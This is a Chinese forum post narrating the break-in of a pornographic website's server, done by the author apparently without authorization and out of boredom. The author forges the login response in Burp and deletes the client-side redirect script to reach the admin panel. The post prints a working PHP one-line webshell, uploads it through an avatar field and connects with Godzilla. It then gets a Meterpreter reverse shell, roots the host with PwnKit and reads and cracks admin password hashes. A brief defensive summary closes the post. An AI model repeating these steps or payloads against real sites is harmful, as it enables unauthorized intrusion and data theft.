找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3207

积分

0

好友

414

主题
发表于 2026-2-15 05:57:44 | 查看: 32| 回复: 0

一次无聊时的实战经历,记录如何通过路径扫描、前端代码审计发现未授权登录漏洞,进而利用文件上传功能GetShell,最终成功提权控制服务器的全过程。

渗透测试的乐趣往往在于从看似坚不可摧的目标上,找到那一条看似不可能的突破口。本次的目标是一个色情网站,我将完整还原从信息收集到拿下服务器权限的完整路径,希望能为你带来一些启发。

1. 信息收集:明确目标框架

在开始前,我们首先要了解目标。经过初步的信息收集,我获得了目标的IP地址、开放的端口、APP程序包,并识别出其后台基于 ThinkPHP V6.0.12 LTS 框架构建。

在寻找入口点的过程中,通常从后台着手是一个好习惯。通过工具进行目录扫描,我发现了目标的后台登录地址 /admin/login.html

ThinkPHP 6.0.12 LTS 后台登录错误页面

2. 初次碰壁:常规漏洞利用失败

既然已经明确了框架版本,我的第一个思路自然是尝试已知的 ThinkPHP 反序列化或 RCE 漏洞进行利用。

然而,经过自动扫描和手工测试,发现这些尝试都失败了。针对该版本的漏洞均不存在,这条路暂时走不通。

针对 ThinkPHP 的漏洞检测工具报告无可用漏洞

3. 柳暗花明:审计前端代码发现未授权登录

既然直接攻击框架不成,我转而将注意力集中到那个看似普通的登录后台。我尝试了常规的注入和验证码绕过,都无功而返。但在登录请求的响应数据包中,我发现了一些有趣的信息。

从数据包可以看到,这是一个典型的前后端分离架构。我的直觉告诉我,这类架构的登录逻辑往往前后端校验不统一,可能存在未授权访问。

登录请求的HTTP请求包,包含JSON响应结构

为了验证猜想,我立刻去查看了登录页面的前端 JavaScript 代码。果不其然,发现了关键的逻辑!

$("#loginadmin").click(function(){
   //获取input表单的值
   var adname=$("input[name='adname']").val();
   var password=$("input[name='password']").val();

   if(adname.length<1) {
       layer.msg('管理员不能为空!',{offset: '150px' })
       return false;
       }

       if(password.length<6){
       layer.msg('密码不能小于六位数!',{offset: '150px' })
       return false;
       }

       $.ajax({
       type: "POST" ,
       dateType: 'json' ,
       url:"/admin/login/index.html",
       data:$(".login_form").serialize(),
       success: function(status){ //验证成功,进入后台
       if(status.code==1){
       layer.msg(status.msg,{offset: '150px' ,icon: 6},function() {
       top.location="/admin/index/index.html" ;
       });
       }; //密码错误
       if(status.code==2){
       layer.msg(status.msg,{offset: '150px' });
       var captcha_img=document.getElementById('captcha');
       captcha_img.src="/captcha.html?" +Math.random();
       $(".check").val('');
       $(".password").val('');
       } //管理员不存在
       if(status.code==3){
       layer.msg(status.msg,{offset: '150px' });
       var captcha_img=document.getElementById('captcha');
       captcha_img.src="/captcha.html?" +Math.random();
       $(".check").val('');
       $(".username").val('');
       $(".password").val('');
       } //验证码错误
       if(status.code==4){
       layer.msg(status.msg,{offset: '150px' });
       var captcha_img=document.getElementById('captcha');
       captcha_img.src="/captcha.html?" +Math.random();
       $(".check").val('');
       }
       }
       })
       })

代码逻辑非常清晰:当服务器返回 status.code == 1 时,前端就会认为登录成功,并跳转到后台首页 /admin/index/index.html。这意味着,我们或许可以绕过前端验证,直接通过修改服务器响应来“欺骗”浏览器。

操作步骤如下:

  1. 在Burp Suite中截获登录请求的响应包。
  2. 将响应中的 status.code 修改为 1
  3. 放行这个被修改的数据包。

浏览器确实执行了跳转,但页面立刻又重定向回了登录页,这是怎么回事?

我继续保持Burp拦截,仔细观察。当 code=1 的响应被放行后,浏览器紧接着会请求后台首页,并且服务器也成功返回了后台页面的HTML代码。但一旦放行这个HTML响应,页面依然显示登录页。

这说明问题出在后台页面的前端代码里。我仔细检查了返回的HTML,找到了罪魁祸首:

<script>
       window.location.href="/admin/login"
</script>

后台页面HTML中的重定向脚本代码

原来,后台的每个页面都被强行插入了一段JavaScript代码,强制跳转到登录页。这显然是一种“伪权限校验”,只在前端进行。

解决方案:
在Burp中,将每一个包含 window.location.href="/admin/login" 脚本的响应包中的这段代码删除,再放行。这样,后台的完整界面就成功渲染出来了!

成功进入后台后显示的服务器信息

至此,我已经成功通过前端代码审计和修改响应包的方式,未授权进入了后台管理系统。如果你对这类 前后端分离应用的安全审计 感兴趣,欢迎到云栈社区的安全板块与大家交流探讨。

4. 扩大战果:利用文件上传功能GetShell

进入后台后,我迅速浏览功能菜单。在“网站配置”选项中,发现了一个可以上传网站头像的功能。

后台文件上传功能点

抱着试一试的心态,我直接上传了一个简单的PHP一句话木马文件。

<?php assert($_POST['s']); ?>

上传成功!服务器返回了上传文件的路径。

文件上传成功的HTTP请求与响应

但是,当我尝试用“中国菜刀”或“蚁剑”等常见的管理工具去连接时,却失败了。这通常是服务器端对执行函数做了限制。

我换用 哥斯拉(Godzilla) 管理工具进行连接。哥斯拉支持更多的编码器,能够绕过一些简单的防护。果然,这次成功连接上了!

哥斯拉连接成功,显示服务器PHP环境信息

通过WebShell,我发现服务器果然禁用了诸如 systemexecpassthru 等危险函数。

5. 权限提升:从WebShell到服务器Root权限

虽然拿到了WebShell,但命令执行受限。我首先使用哥斯拉的 BypassDisableFunctions 模块来执行系统命令。

为了获得一个更稳定的交互式Shell,我通过哥斯拉上传了一个由MSFVenom生成的Linux木马,并在攻击机上用Metasploit框架开启监听,成功获得了一个Meterpreter会话。

Metasploit生成Payload并开启监听

有了稳定的立足点,下一步就是提权。在信息收集中,我发现系统内核版本较旧。尝试使用著名的 CVE-2021-4034 (PwnKit) 本地权限提升漏洞。

在目标服务器上编译并执行漏洞利用程序,成功将权限提升至 root

利用CVE-2021-4034漏洞成功提权至root

6. 战后清理与信息收集

以root权限遍历服务器,我发现了宝塔面板的安装,这意味着管理员可能使用它进行服务器管理,获取的密码可以尝试进行横向扩展。

发现的宝塔面板管理后台

随后,我直接查看了网站的数据库,找到了管理员表。密码字段是MD5加密,但通过在线解密,发现是一个简单的弱密码。如果之前进行后台爆破,这个密码很可能被猜解出来。

数据库中的管理员账户与加密密码

7. 攻击路径总结

让我们复盘一下完整的渗透路径,这对于理解和防御此类攻击至关重要:

  1. 信息收集与入口定位:通过目录扫描发现后台地址 /admin/login.html
  2. 漏洞发现:通过分析登录流程和前端JavaScript代码,发现后端仅通过前端返回码和跳转脚本进行权限校验,存在未授权访问逻辑漏洞。
  3. 漏洞利用:使用Burp Suite拦截并修改登录响应包(code=1),并删除后续页面中的强制跳转脚本,从而未授权访问后台。
  4. 权限扩展:在后台利用文件上传功能,上传WebShell(一句话木马),通过哥斯拉管理工具成功连接。
  5. 权限提升:上传MSF木马获得稳定反向Shell,利用系统内核漏洞(CVE-2021-4034)将权限提升至root,最终完全控制服务器。

这次渗透测试清晰地展示了 开发逻辑漏洞(尤其是前端校验与后端校验不一致)与 不安全的文件上传 结合所能造成的巨大危害。作为开发者或安全工程师,应当仔细审查权限校验的每一处逻辑,并对所有上传功能进行严格的白名单过滤与内容检查。




上一篇:从外网突破到内网横向:一次瑞友天翼应用虚拟化系统的完整渗透实战
下一篇:OpenClaw创始人访谈:命名风波、Agent理念与80%应用将被取代的AI未来
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-23 12:58 , Processed in 0.727324 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表